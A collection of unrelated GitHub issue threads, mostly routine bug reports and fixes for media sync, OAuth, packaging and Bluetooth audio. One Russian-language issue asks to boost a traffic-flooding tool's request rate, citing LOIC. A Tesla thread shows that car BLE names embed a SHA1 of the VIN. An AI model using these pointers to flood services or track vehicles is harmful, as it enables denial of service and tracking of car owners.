Ok sorry i wasn't clear enough was too sleepy.
Ok here is how the syncing process works, the importing is two step process, first if the item not found in the database, it will import it regardless of it's state. after subsequent import will check mainly the date on the movie/episode, usually the last_view date or added_date in case the last_view date is not found. it will then compare the locally stored date against that date, if the date from server newer than what is recorded in the database. then it will enable changing the state flag. which is what is happening currently in your case. your media date in plex when it was marked as watched is older than when the media was added to jellyfin. thus jellyfin overriding state because it's reporting newer date.
There are steps that should be taken to get both jellyfin & plex in sync first before enabling the import from jellyfin.
Start fresh, add plex do the import from plex. after that add jellyfin when asked Enable importing of metadata and play state from this backend? answer with n. then go with the defaults.
after that do console state:export -vvsf jellyfin

Hey..
So here is what I did, but not much success:

Deleted the entire watchstate folder structure to start from scratch
Added plex: console config:add plex
Set Plex to import playstate/metadata only, no export
Once added, ran the import console state:import -vvf -s plex
Watchstate added all my episodes (count was correct), test episode (NCIS S12E01 is marked as watched)
Added Jellyfin: console config:add jellyfin
Set to not import watch state, only metadata (as you instructed)
Ran the console state:export -vvf -s jellyfin
Test episode appears in console db:list --title "NCIS" --limit 5000 --output yaml > output.yaml under jellyfin still as watched: '0', so it's not marking it as watched (GUIDs match)

Any other ideas?

Hmmm, i am currently using the same version to sync emby x2, plex x2, jellyfin x2. all of them works without problem, i need to dig deeper, if you have time please drop by on my discord servers to debug this further, https://discord.gg/haUXHJyj6Y

Feel free to update the issue once you have free time. Have happy holiday.

After further investigation, it seems the problem was date related on the new backend media object,
[2023-01-02T13:24:18-05:00] DEBUG: Ignoring [jellyfin] [title - (SSxEEE)]. Backend date is equal or newer than database date. { ..., (comparison: [ (database: "2017-12-26T16:09:43-05:00"), (backend: "2021-12-15T04:04:17-05:00") ]) }

the fix as discussed in discord is by using the -i, --ignore-date flag to bypass the media date check on export.

authors: ArabCoders stokkes

repo: ArabCoders/watchstate


text:
ERC20 Executor

The PR implements ERC20 Executor that is able to transfer ERC20 tokens from Sender to the beneficiary on a claim.

Sender must give permission for the executor contract to transfer tokens via ERC20 approval.
This implementation of ERC20 Executor inherits from SingleClaimantExecutor for replay protection
Sender needs to specify the deadline until which claim code can be used.

@Arachnid Please take a look. If this looks good, I can add similar executors for ERC721 & ERC1155

repo: Arachnid/shibboleth


text:
[BUG] I get error 400 (Bad Request) in the getOAuthToken function

Expected Behavior
getOAuthToken should return a valid OAuth token.
Actual Behavior
It throws the following error message:
Warning! Error in getOAuthToken: 400 (Bad Request) from http://localhost/xxxxx/OAuthServer/connect/token
Steps to Reproduce

Enter values in all the fields in the form.
Click on the Submit button

Environment Details
Aras Innovator

Major version:  14.0
Service pack(s): SP12

Browsers

[ ] Internet Explorer 11
[ ] Firefox ESR
[x] Chrome
[x] Edge

Project Version
v2.0.0
Additional Details

Workaround / Solution
Have you found a workaround or solution to this issue?
No.
Collaboration
Are you willing to collaborate on this feature? Ex: sharing code, submitting a pull request, testing, etc.
Yes.

Had the same issue.  Found when using postman app and doing authentication by hand that the Innovator Server (2024) does not like the Content-Type to be multipart/form-data.   Seems to only work when it's "application/x-www-form-urlencoded".  The getOAuthToken(creds) function sets up the var token_body as a FormData object ... when the http request eventually gets made, that FormData object will cause the Content-Type to be multipart/form-data.  Which will faill with Error 400.   Fix is to manually set the header and use a string for token_body.
In the getOAuthToken(creds) ... REMOVE:
// build the OAuth token request
var token_headers = [];
    var token_body = new FormData();
    token_body.set("grant_type", "password");
    token_body.set("scope", "Innovator");
    token_body.set("client_id", "IOMApp");
    token_body.set("username", creds.user);
    token_body.set("password", creds.pwd);
    token_body.set("database", creds.db);

and REPLACE it with:
// build the OAuth token request
var token_headers = [
{ name: 'Content-Type', value: 'application/x-www-form-urlencoded' }
];
    // Example URL-encoded token body
    var token_body =
        "grant_type=password" +
        "&scope=Innovator" +
        "&client_id=IOMApp" +
        "&username=" + encodeURIComponent(creds.user) +
        "&password=" + encodeURIComponent(creds.pwd) +
        "&database=" + encodeURIComponent(creds.db);

Authentication succeeded after that.

Thanks, @gwagner613
That removed the authentication issue.
Unfortunately, uploading of the selected file fails with the following message:
Warning! 500 (Internal Server Error) from http://localhost/InnovatorServer/vault/odata/vault.CommitTransaction

repo: ArasLabs/rest-upload-example


text:
[Help] Reliable way to get VIN or equivalent non-changing hard vehicle ID needed

First off, great work @ArchGryphon9362  you've done well for the Tesla community. This is big and I bet de-obscurificating was not easy, so kudos to you on this accomplishment 👏🏽
So per your docs and my findings, there's really no known way to get the VIN of the vehicle.. yet.

Since the time of writing your docs have you obtained the vin via VCSEC at all? If so how?

Are you able to get any non-changing ID's via VCSEC that match with that found on Tesla API?

Have you figured out if there's any correlation between the vehicle's BLE name and any identifying factors to the actual vehicle?

A non-changing obtainable ID that matches to both VCSEC and the Tesla API are almost imperative for VCSEC to be used in production. Think multiple vehicles, whitelisting via b-pillar or querying for info next to an unrelated Tesla, etc.

What you think of something like this?
https://forms.gle/eDDz22vJyV9hwLNi6

@ArchGryphon9362 Ha no worries. It's mentioned in the protobuf so there definitely has to be a way to have the car send it.
Unfortunately that + filtering for best RSSI + explicitly directing user to be inside vehicle will have to be the temporary method for now--not ideal.
Not sure if this is documented in Tesla API but there is a way to get correct option codes from account API which is not accessible from regular API. When I get some time I'll see if theres any way we can get BLE name or UUID from there as well.
Also added to the form and included vehicle_id, please update if you find any correlations! You should try checking against your own reservation number as well.

Thanks, for letting me know, I might put this on the "Getting Started" page of the documentation, to let people add theirs. But yeah they have to be inside anyways because well... they have to tap their keycard...
Also! You said you can get correct option codes from a separate API!? I know this is unrelated, but can you point me towards where you found that information, as that sounds like something interesting...

@ArchGryphon9362 yeah that's a good idea.
You can also tap the b-pillar outside the car. That's where it gets sticky if there's another Tesla around.
And yeah haha it took a lot of digging, I'll dm you on Twitter about the option codes when I get some spare time

Have you figured out if there's any correlation between the vehicle's BLE name and any identifying factors to the actual vehicle?

I'm trying to see if I can figure this out, but it's hard. There is an android app (TeslaRadar) that is able to identify the model of a vehicle just using the BLE information. I contacted the developer and he said the app contacts his server which uses a rainbow table to do it - so not something very straightforward.
The most promising place there might be an identifier would be in the manufacturer data returned from a BLE scan. If you read the manufacturer data for Tesla (ID: 76) you get a byte array that is unique for each vehicle. I'm trying to figure out how to decode these arrays, but it's going to take some time.
Here are some examples for random cars I came across:
 # Manufacturer data for several vehicles I came across while testing
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 47, 70, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 165, 65, 197]
 [2, 21, 36, 153, 238, 245, 204, 239, 218, 203, 24, 248, 80, 148, 236, 177, 127, 206, 0, 1, 0, 1, 197]
 [2, 21, 185, 64, 127, 48, 245, 248, 70, 110, 175, 249, 37, 85, 107, 87, 254, 109, 16, 0, 0, 5, 198]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 168, 203, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 227, 159, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 1, 0, 47, 69, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 1, 0, 42, 39, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 211, 129, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 1, 0, 201, 20, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 83, 13, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 1, 0, 119, 46, 197]
 [15, 8, 192, 10, 214, 30, 130, 0, 4, 11, 16, 2, 11, 4]  # I don't think this one is a vehicle
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 55, 63, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 1, 0, 227, 115, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 1, 0, 97, 110, 197]
 [2, 21, 116, 39, 139, 218, 182, 68, 69, 32, 143, 12, 114, 14, 175, 5, 153, 53, 0, 0, 233, 23, 197]

It looks like most of the data is the same for all vehicles, but there are several bytes that differ. I would love to see if it is possible to decode these - perhaps the 5th-to-last byte is a zero for a Model 3 and a 1 for a Model Y, for example.

Wow! Nice find! I never even thought of reading the manufacturer data. I'll take a look into this, and see if I find anything promising 😁. A rainbow table might not be bad if it could cover all cases, but yes, finding a pattern would be amazing!

Ugh, this is kinda sad, they use only crowdsourced patterns... This might mean one of 2 things, I'll have to reverse engineer the Tesla app, which is more or less easy, or there might be not pattern 😢. Anyways, we'll see!
(Here's a talk he did about it https://youtu.be/Kr9FFXUiyac)

Ok so, I just began reverse engineering the app, and I found a few things. When looking for the right car, the VIN is involved! I haven't found much yet, but looking at it, something to do with the VIN gets put through a SHA hasher, I think it was SHA1, and then they check if the name of the car's BLE contains it. If it does, it connects!
SO! I'm gonna spend some time finding out what it was, and will let you guys know!

SHA1 OF THE VIN, THE FIRST 16 BYTES!!!!!!!!!!
THAT IS THE 16 BYTES IN THE MIDDLE!!!!!!

@itsMeDavidV, you can close this issue if you got what you want. I'm not sure what the last character is, but I only seen C for Model 3 (I only ever saw 2 names for it 😅)

Commit 2b23a13 changes documentation to explain BLE name!

That makes a lot of sense. Great work!
I'm still curious what the manufacturer data represents. It seems that for most cars the data is the same except for the last ~5 bytes.
The watch app I'm trying to make won't know the VIN of the car you're looking for, (and for some reason the watch is not able to see the device name either), but if some of the details can be found from the manufacturer data, I could at least maybe show the model and color of the car the user is selecting?
The only way I think we could figure this out is to collect the manufacturer data from a bunch of cars, record their configuration, and try to find a pattern. I don't think the Tesla app uses this information :(

The manufacturer data stuff is interesting, but I don't think I'll be dedicating much time personally on figuring that stuff out. If someone else wants to, they're welcome.
But ye, the Tesla app doesn't seem to use the manufacturer info from anywhere I've seen.

Wow this is awesome, well done guys!
@ArchGryphon9362 there's a beta slot with your name on it for Watchla's go at BLE if you're up for it! Been using it for a few weeks myself and it's definitely a game changer 🙌🏽 should push to beta next week.
Closing this

Sad thing, I see it's iOS only? I'm on Android 😅
Anyways, have a good day!

Ah lmk when you step away from the dark side haha

I find the Apple ecosystem quite amazing, so might switch at some point 😁 (not soon tho prob)


text:
Bugfix: ModuleNotFoundError: No module named 'archivebox.vendor.base32_crockford'

Describe the bug

Since updating from 0.4.24-1 to 0.5.3-1, whenever I run archivebox, or an command following it, I get the error ModuleNotFoundError: No module named 'archivebox.vendor.base32_crockford'. I didn't have this issue before, and I'm unable to revert back to the earlier version. May be related to https://github.com/ArchiveBox/ArchiveBox/issues/581.
Steps to reproduce

Install archivebox .
Run any archivebox command, e.g. archivebox --version, archivebox init.
Receive below error.

Screenshots or log output
Traceback (most recent call last):
  File "/usr/bin/archivebox", line 11, in <module>
    load_entry_point('archivebox==0.5.3', 'console_scripts', 'archivebox')()
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 490, in load_entry_point
    return get_distribution(dist).load_entry_point(group, name)
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 2854, in load_entry_point
    return ep.load()
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 2445, in load
    return self.resolve()
  File "/usr/lib/python3/dist-packages/pkg_resources/__init__.py", line 2451, in resolve
    module = __import__(self.module_name, fromlist=['__name__'], level=0)
  File "/usr/lib/python3/dist-packages/archivebox/cli/__init__.py", line 72, in <module>
    SUBCOMMANDS = list_subcommands()
  File "/usr/lib/python3/dist-packages/archivebox/cli/__init__.py", line 44, in list_subcommands
    module = import_module('.archivebox_{}'.format(subcommand), __package__)
  File "/usr/lib/python3.8/importlib/__init__.py", line 127, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File "/usr/lib/python3/dist-packages/archivebox/cli/archivebox_add.py", line 11, in <module>
    from ..main import add
  File "/usr/lib/python3/dist-packages/archivebox/main.py", line 22, in <module>
    from .parsers import (
  File "/usr/lib/python3/dist-packages/archivebox/parsers/__init__.py", line 17, in <module>
    from ..system import atomic_write
  File "/usr/lib/python3/dist-packages/archivebox/system.py", line 15, in <module>
    from .util import enforce_types, ExtendedEncoder
  File "/usr/lib/python3/dist-packages/archivebox/util.py", line 18, in <module>
    from .vendor.base32_crockford import encode as base32_encode                            # type: ignore
ModuleNotFoundError: No module named 'archivebox.vendor.base32_crockford'

Software versions

OS:                       Ubuntu 20.04.1 LTS 64-bit
ArchiveBox version:        archivebox/focal,focal,now 0.5.3-1
Python version:            Python 3.8.5

Thanks for reporting. Try now, I fixed a problem with the debian packaging process and bumped it to 0.5.3-2.

Thanks for reporting. Try now, I fixed a problem with the debian packaging process and bumped it to 0.5.3-2.

Thank you! Trying to update with apt didn't yet give me an update. In retrospect I realized that I had added ppa:archivebox/archivebox to my apt sources instead of just using the recommended installation method, can't find in the docs why I might have done that. I uninstalled archivebox with apt and reinstalled with python3 -m pip install --upgrade archivebox. Worked perfectly.

Thank you! Trying to update with apt didn't yet give me an update. In retrospect I realized that I had added ppa:archivebox/archivebox to my apt sources instead of just using the recommended installation method, can't find in the docs why I might have done that. I uninstalled archivebox with apt and reinstalled with python3 -m pip install --upgrade archivebox. Worked perfectly.

Any expectations when 0.5.3-2 will be available via apt?
I would prefer to change to the more simple apt installation and 0.5.3-1 is still delivered there.

oh we're already on 0.5.4 at this point, just apt update; apt upgrade archivebox

@pirate looks like the build is failing => No update via apt upgrade
https://launchpad.net/~archivebox/+archive/ubuntu/archivebox/+build/20962645

Looks like Debian changed the build tool they use on their servers from dh-python to pybuild, which broke my build :(
You can install via pip or dpkg for now until I fix it.

Build is passing, try now: https://launchpad.net/~archivebox/+archive/ubuntu/archivebox/+build/21002060

authors: CalebUsadi pirate sistein

repo: ArchiveBox/ArchiveBox


text:
Feature Request - Part attribute unloader

Issue Documentation is http://handbook.arctosdb.org/how_to/How-to-Use-Issues-in-Arctos.html
Is your feature request related to a problem? Please describe.
Context: I have entered specimen locations (i.e., the drawer or shelf the specimen is in) in the "location" part attribute. Sometimes we move specimen parts (sometimes entire drawers) around and need to modify that part attribute in bulk. I'm looking for a way to do this without having to manually search each record and edit the part attribute.
Describe what you're trying to accomplish
A way to bulk unload part attributes
Describe the solution you'd like
Part attribute unloader similar to the locality attribute and record attribute unloaders that already exist
Describe alternatives you've considered
Manually editing these would be very time consuming.
Additional context
Useful for other collections, minimally UWBM:PB and UWBM:PR (@WaigePilson )
Priority
High--needed for day-to-day operations

thanks @dustymc !

repo: ArctosDB/dev


text:
CHANGELOG.md

Можете вести ченджлог по версиям? А то что-то обновляется, а что именно непонятно.

А не удобней пользоваться страницей с описанием релизов? Некоторые я упустил, но в них не было ничего критичного. Или очень хочется именно такой файлик?

Changelog available at release history page
(I've just translated @senneco answer)

authors: CherryPerry senneco xanderblinov

repo: Arello-Mobile/Moxy

license: mit


text:
Custom categories

There is currently no way to add your own category to post in within a country

#134


text:
ENH allow overload to full extent of the partition

cc @michaelbuehlmann

thank you @michaelbuehlmann !

repo: ArgonneCPAC/MPIPartition


text:
Code release date?

Great work! I'm just wondering when the code can be released.

Thanks for your interest! The code has already been released and is publicly available. We welcome any suggestions for improvement or feedback you might have!

authors: Aries-iai SilverRAN


text:
Rock-Paper-Scissors

Simple Python Projects

Thanks for your Contribution @Malavi1 !
Keep Contributing!
Give a Star to this project if you like this!
Happy Hacktober!


text:
increasing delay as a sink

Hello,
I using AAC sink, with blueasla-aplay on Raspberry Pi Zero W. I tried to play with settings  in /src/transport.c
https://github.com/Arkq/bluez-alsa/blob/dbfa1dc3fe339276955cb9163848d3d4ee49996b/src/transport.c#L867-L870
and flags of bluealsa-aplay
--pcm-buffer-time=20000  --pcm-period-time=10000
I achieved low delay and sound become almost synch in videos, but the longer I watch the longer the delay. Аlmost 0.5 sec of delay every 2-3 min of watching.
I don't clearly understand how it happends because I didn't notice any gaps and sound seems to play at normal speed.
So am I doing it right with parameters and how to stop increasing of the sound delay?
Thanks for this tool, using it makes my day happier.

So I'm using my Raspberry Pi 3 Model B as an A2DP sink over Bluetooth. More specifically, I want to use my Samsung phone's dual-audio over Bluetooth feature, which allows it to pair to two Bluetooth speakers at the same time.
I've been trying to get my UE Megaboom speaker to play in-sync with the non-Bluetooth speaker connected to my RPi's audio jack. I also stumbled onto those bluealsa-aplay flags you mentioned: pcm-buffer-time and pcm-period-time.
I looked more into those flags, and found this on the aplay man page:

-F, --period-time=#
Distance between interrupts is # microseconds. If no period time and no period size is given then a quarter of the buffer time is set.
-B, --buffer-time=#
Buffer duration is # microseconds If no buffer time and no buffer size is given then the maximal allowed buffer time but not more than 500ms is set.
--period-size=#
Distance between interrupts is # frames If no period size and no period time is given then a quarter of the buffer size is set.
--buffer-size=#
Buffer duration is # frames If no buffer time and no buffer size is given then the maximal allowed buffer time but not more than 500ms is set.

So it seems bluealsa-aplay only allows us to adjust aplay's period-time and buffer-time. If we don't set these values, then bluealsa-aplay defaults to a buffer-time of 500000us (500ms) and a period-time of 100000us (100ms).
However, I noticed something interesting about the output of the command:
bluealsa-aplay -vv 00:00:00:00:00:00
Output:
Selected configuration:
  HCI device: hci0
  PCM device: default
  PCM buffer time: 500000 us
  PCM period time: 100000 us
  Bluetooth device(s): ANY
  Profile: A2DP
Used configuration for [REDACTED MAC_ADDRESS]:
  PCM buffer time: 500000 us (88200 bytes)
  PCM period time: 100045 us (17648 bytes)
  Sampling rate: 44100 Hz
  Channels: 2

Specifically, this line: PCM period time: 100045 us (17648 bytes)
I'm not sure if there is some kind of rounding error going on here or if this could be responsible for the delay drift you are talking about, but I've noticed that delay drift on occasion as well.
For period time, aplay's man page says:

Distance between interrupts is # microseconds. If no period time and no period size is given then a quarter of the buffer time is set

So I decided to set pcm-period-time only to values that are 1/4th the value of pcm-buffer-time, and this seems to have stabilized the audio stream quite a bit. However I'm still very new to all this so there could be a much better approach/solution.
And if anyone else who reads this is interested, I've tested different pcm-buffer-time values to try and get it in-sync with the UE Megaboom. Here's the command and output for what I found to be the closest match: bluealsa-aplay --pcm-buffer-time=135000 --pcm-period-time=33750 -vv 00:00:00:00:00:00
Output:
Selected configuration:
  HCI device: hci0
  PCM device: default
  PCM buffer time: 135000 us
  PCM period time: 33750 us
  Bluetooth device(s): ANY
  Profile: A2DP
Used configuration for [REDACTED MAC_ADDRESS]:
  PCM buffer time: 135011 us (23816 bytes)
  PCM period time: 33741 us (5952 bytes)
  Sampling rate: 44100 Hz
  Channels: 2

Notice the buffer time and period time are still slightly off (maybe it has to do with rounding to the nearest byte?--I have no idea). I would think this, in turn, means that aplay's period-size is not exactly 1/4th of the buffer-size. The delay drift still occasionally happens, but it seems to correct itself after several seconds. It could also be wireless interference that's causing the occasional loss of audio sync--but I'm not entirely sure of the cause.
All this to say, setting a pcm-period-time value that's 1/4th of your pcm-buffer-time value seems to stabilize things a bit. I also wouldn't set a pcm-buffer-time shorter than 50000us (50ms) since it seems too short, but you may want to test that out yourself.

I am now also using bluealsa-aplay --pcm-buffer-time=135000 --pcm-period-time=33750 -vv 00:00:00:00:00:00 and it seems to fix my increasing delay I experience with Raspberry Pi 2 Model B with an external Bluetooth adapter.
I suggest to keep this issue open until the actual cause of the problem gets more clear.

alsa period time and buffer time settings are not supposed to affect the playback speed, so (in theory) should not change the relative delay between two streams. I think the most likely underlying cause is this:
The common factor in the above reports is that they all appear to be using the RPi's on-board DAC, which is of notoriously poor quality. Try with a USB or i2c HAT DAC and see if that cures the problem.

In my setup, I used the RPi 2 Model B with an external USB sound card that is part of the speaker system. So in this case it should be a quality DAC. Still, I experienced this increasing delay before I found this work-around.

In my setup, I used the RPi 2 Model B with an external USB sound card that is part of the speaker system. So in this case it should be a quality DAC. Still, I experienced this increasing delay before I found this work-around.

A recent change in alsa-lib may have improved synchronization when using the rate plugin to convert sample rates. See https://github.com/Arkq/bluez-alsa/issues/451#issuecomment-903731200 for references. If anyone is experiencing this issue, it may be worth compiling alsa-lib to see if that helps.

A recent change in alsa-lib may have improved synchronization

Unfortunately that change has not made any difference to the rounding error.
However, since this issue was raised (nearly 3 years ago) there have many improvements to BlueALSA. In particular commit bacbf5d has removed the cause of the period time anomaly seen here. Rounding error still exists in the rate plugin, but can be avoided by choosing period time that is a multiple of 10ms when converting between 48000 and 44100 sample rates. The default period time of bluealsa-aplay is therefore now OK for this particular conversion.
There is still an issue of clock drift between the bluetooth clock and soundcard clock, but that should be considerably smaller than the amount originally reported here. To compensate for the clock drift, PR #459 if eventually committed, should suffice.

The latest update to the bluealsa-aplay manual page now includes some hints on choosing period times to avoid rate plugin rounding errors, and explains the effect of the dmix plugin and how to mitigate that. So the original issue raised here, of large timing drift, is now fixed, as far as is possible within the bluez-alsa project, by documenting how to configure ALSA to avoid it.
There still remains the issue of much smaller time drift which results from different clocks in the Bluetooth adapter and the soundcard. PR #459 proposes one way to address that, so please follow progress on that PR if you need to further improve synchronization.

authors: alejandro-n-rivera borine rriemann vano353

repo: Arkq/bluez-alsa


text:
🛑 Armada Yazılım - ArmadaWorks is down

In 668ea4e, Armada Yazılım - ArmadaWorks (https://armadaworks.net/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Armada Yazılım - ArmadaWorks is back up in 0bce84e after 1 hour, 4 minutes.

repo: ArmadaSoftware/status


text:
Test case 02-05 review

I believe that the following solution matches the exercise 02-05. However, some tests fail.
Either it's me or the test case :)
export const SocialMedia = props => {   return (

{props.title}

         {props.posts.map(post => (           <Post             key={post.id}             author={post.author}             title={post.title}             postedOn={post.date}             liked={post.liked}             children={
{post.content}
}           />         ))}

   ); };

Looking into it

authors: ArmandDu Neutronos

repo: ArmandDu/shortcut-react-club


text:
update ray version in dependency?

Current dependency is ray version 2.2.0. Ray version 2.3.0 is supposed to have fixed a memory leak bug: see https://discuss.ray.io/t/object-store-spilling-terabytes-of-data/8699/5
I don't know if that particular bug has the potential to impact similarity calculations, but it seems important.
I am using ray version 2.6.3 and working to avoid object spillage. Current version of ray is 2.8.1.

Also there is a supposed security vulnerability in ray older than version 2.8.1. The ray folks say that this is basically baloney; but, this is not a good look for us.
I think that this would force us to upgrade the minimum version of Python to 3.9. However, Python 3.8 is end-of-life this year, so, no loss.
Should update the test grid to include the newest versions of Python (now up to 3.13).

repo: ArnaoutLab/diversity


text:
Posting new Asset via API requires fields that are not mandatory to be supplied (and fails when null)

** JUST NOTICED THE 1.2 release, let me test that first **
Hi,
Been working on a module for another netbox plugin that integrates the use of this Asset plugin. Ran into some issues when posting to Netbox, tried directly and im getting the same issue.
Netbox Version: v3.4.6 (docker container, plugin release)
Python 3.8.10
netbox-inventory: v1.1.2
import json
import requests

headers = {
      "Authorization": f"Token 0123456789abcdef0123456789abcdef01234567",
      "User-Agent": f"netbox-testing",
      "Content-Type": "application/json"
  }

url = "http://localhost:8000/api/plugins/inventory/assets/"
null = None

dev_test = {
  "name": "test2",
  "asset_tag": null,
  "serial": "test1234567",
  "status": "stored",
  "kind": "device",
  "device_type": {
    "manufacturer": {
      "name": "Cradlepoint",
      "slug": "cradlepoint"
    },
    "model": "CBA850",
    "slug": "cba850"
  },
  "device": null,
  "module_type": null,
  "module": null,
  "tenant": null,
  "contact": null,
  "storage_location": null,
  "owner": null,
  "purchase": null,
  "warranty_start": null,
  "warranty_end": null,
  "comments": "",
  "tags": [],
  "custom_fields": {},
}

#device_request = requests.get(url, headers=headers)
device_request = requests.post(url, headers=headers, json=dev_test)
print(json.dumps(device_request.json(), indent=2))

is the python code i'm using to test directly when posting to netbox, and it returns the following response:
# python3 ./scratch/netbox-testing.py
{
  "device": [
    "This field may not be null."
  ],
  "module_type": [
    "This field may not be null."
  ],
  "module": [
    "This field may not be null."
  ],
  "storage_location": [
    "This field may not be null."
  ],
  "purchase": [
    "This field may not be null."
  ]
}

If i don't include them in the body at all I get "This field is required." for the same set of fields.
Looking at the swagger page for Netbox and the Inventory plugin (as per attached img)

It shows that these fields are indeed marked as required, but yet when adding it via the UI they are not?
I've tried values for these fields with 0, empty strings, but so far to no avail.
If I'm missing something, please let me know, would love to get this working.

OK, fixed with the 1.2 update.

repo: ArnesSI/netbox-inventory


text:
Маловато запросов в секунду можно в ~10 раз лучше

Посмотрите сорсы LOIC:
https://github.com/NewEraCracker/LOIC

There are more effecient jobs in this program that do that task more effeciently (See #57 for some explanations on the topic). Also it seems like @securims just authored a PR (#76) that allows to use similar configuration with http traffic for those who think this is still a concern


text:
Add Edifice by Ben Kovach

closes #139

You're the best, thank you @ryley-o :)

authors: jakerockland ryley-o

repo: ArtBlocks/artbot


text:
[HELP] Change date format

Currently Artalk uses the default y-m-d, example 2024-07-05
Is there any way to convert it back to d/m/y at g:i A format (for example, 05/07/2024 at 4:18 AM)?

Yes, I just updated to Nightly Version, the configuration I use is as follows
<script>
Artalk.init({
  el:        '#Comments',
  pageKey:   '',
  pageTitle: '',
  server:    'https://comment.bibica.net',
  site:      'BIBICA.NET',
  dateFormatter: (date) => {
    // Định dạng ngày tháng
    const day = new Intl.DateTimeFormat('en-GB', { day: '2-digit' }).format(date);
    const month = new Intl.DateTimeFormat('en-GB', { month: '2-digit' }).format(date);
    const year = new Intl.DateTimeFormat('en-GB', { year: 'numeric' }).format(date);
    let time = new Intl.DateTimeFormat('en-GB', { hour: '2-digit', minute: '2-digit', hour12: true }).format(date);

    // Chuyển đổi 'am' và 'pm' thành 'AM' và 'PM'
    time = time.toUpperCase();

    return `${day}/${month}/${year} at ${time}`;
  }
});
</script>

Everything turned out exactly as I wanted it to.

repo: ArtalkJS/Artalk


text:
🛑 Appetizr Login System (Google Auth and OTP) is down

In c2a049b, Appetizr Login System (Google Auth and OTP) (https://google.com) was down:

HTTP code: 429
Response time: 639 ms

Resolved: Appetizr Login System (Google Auth and OTP) is back up in 1e98102.

repo: ArtemZhigarev/uptime


text:
Pakken node-gyp bruker python2. Kunne du oppdatert det, da python2 er død?

Ser ut som det er bare node-sass som er avhengig av node-gyp, og node-sass vil ha en gammel versjon av node-gyp som avhenger av python2.
Vente, eller la være å bruke node-sass?
https://github.com/sass/node-sass/issues/2716
$ npm ls
├─┬ node-sass@4.13.0
│ ├─┬ node-gyp@3.8.0
│ │ ├─┬ fstream@1.0.12

Aner ikke hva vi har bruk for, så opp til deg. 😊 u fix?

authors: bjornreppen helemork

repo: Artsdatabanken/forvaltningsportal


text:
Fix favourites

Fix favourites
Hard refresh page when loading to ensure changes in kartlag are reloaded

Test den: https://forvaltningsportal.test.artsdatabanken.no/pr/forvaltningsportal_380

Testet, bra jobba!

authors: artsdatabank kepatinin runningbones


text:
Importjobb kalkkart

Tagge områder med koder for kalkinnhold og bergarter
Importere i basen

https://github.com/Artsdatabanken/grunnkart-dataflyt/commit/be790411222a3f76a667e95ca8aae03f09558429

Added separate issue for tagging:
https://github.com/Artsdatabanken/grunnkart-dataflyt/issues/17

authors: bjornreppen jarped

repo: Artsdatabanken/grunnkart-dataflyt


text:
Filter wrong phrases processing

check recognition data and return sounds with low-level  accuracy or unexpected language without translations

done


text:
🛑 API - Spain (ES) is down

In 8f0d406, API - Spain (ES) ($URL_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: API - Spain (ES) is back up in a59c1f7.

repo: ArturiaPendragon/uptime-status


text:
Add index.html

new pull request

Hello there, awesome person!

    Hello there, awesome person!

repo: AryaRayaroth/intro-html


text:
remove wrapping of inline comments in

This was causing parsing issues for inline html within an inline comment - and added unnecessary complexity for not much benefit. This removes the <ul> list of inline comments for a GH comment and separates them out by newlines instead.
fixes: https://app.asana.com/0/1149418478823393/1201442536592555/f
Pull Request synchronized with Asana task

I will update black version in a follow-up PR, there seems to be an issue running it in CI

repo: Asana/SGTM


text:
BUG-Text color not changing

Describe the bug
As i select a Text color it does not reflect on the graph
To Reproduce
step-1: enter your username
step-2: try changing text color
Expected behavior
Text color of graph should change accordingly
Screenshots

Thanks @Ishaan-11 🙂 for raising this issue.
The issue has been resolved with commit 8403094 ✅


text:
Implement Singly Linked List in Java

Implement Singly Linked List in Java

@hamza39460  Are you taking this up?

Working on this issue!

Created a PR!
Kindly review.

repo: Asiatik/codezilla


text:
"Release: version v2.6.7"

"Release: version v2.6.7"

test issue

repo: AssetMantle/node


text:
Error launching astraahome.py

I use Pop!_OS 21.04
When I run: "python3 astraahome.py", I get this error:
Traceback (most recent call last):
File "/home/arminas/Discord-All-Tools-In-One/astraahome.py", line 16, in
import discord
File "/home/arminas/.local/lib/python3.9/site-packages/discord/init.py", line 20, in
from .client import Client, AppInfo, ChannelPermissions
File "/home/arminas/.local/lib/python3.9/site-packages/discord/client.py", line 38, in
from .state import ConnectionState
File "/home/arminas/.local/lib/python3.9/site-packages/discord/state.py", line 36, in
from . import utils, compat
File "/home/arminas/.local/lib/python3.9/site-packages/discord/compat.py", line 32
create_task = asyncio.async
^
SyntaxError: invalid syntax
Can someone help me?

try to uninstall the discord module and reinstall it:
pip uninstall discord
pip install discord
try to replace python3 with just python
not an expert but I believe it should work.

Answer to your problem

authors: Misjudgments SpectrixDev arminask

repo: AstraaDev/Discord-All-Tools-In-One


text:
PS3 Support

As in tittle - do you plan to add PS3 support? For now any ftex tool can't convert ftex to dds :/

Hey,
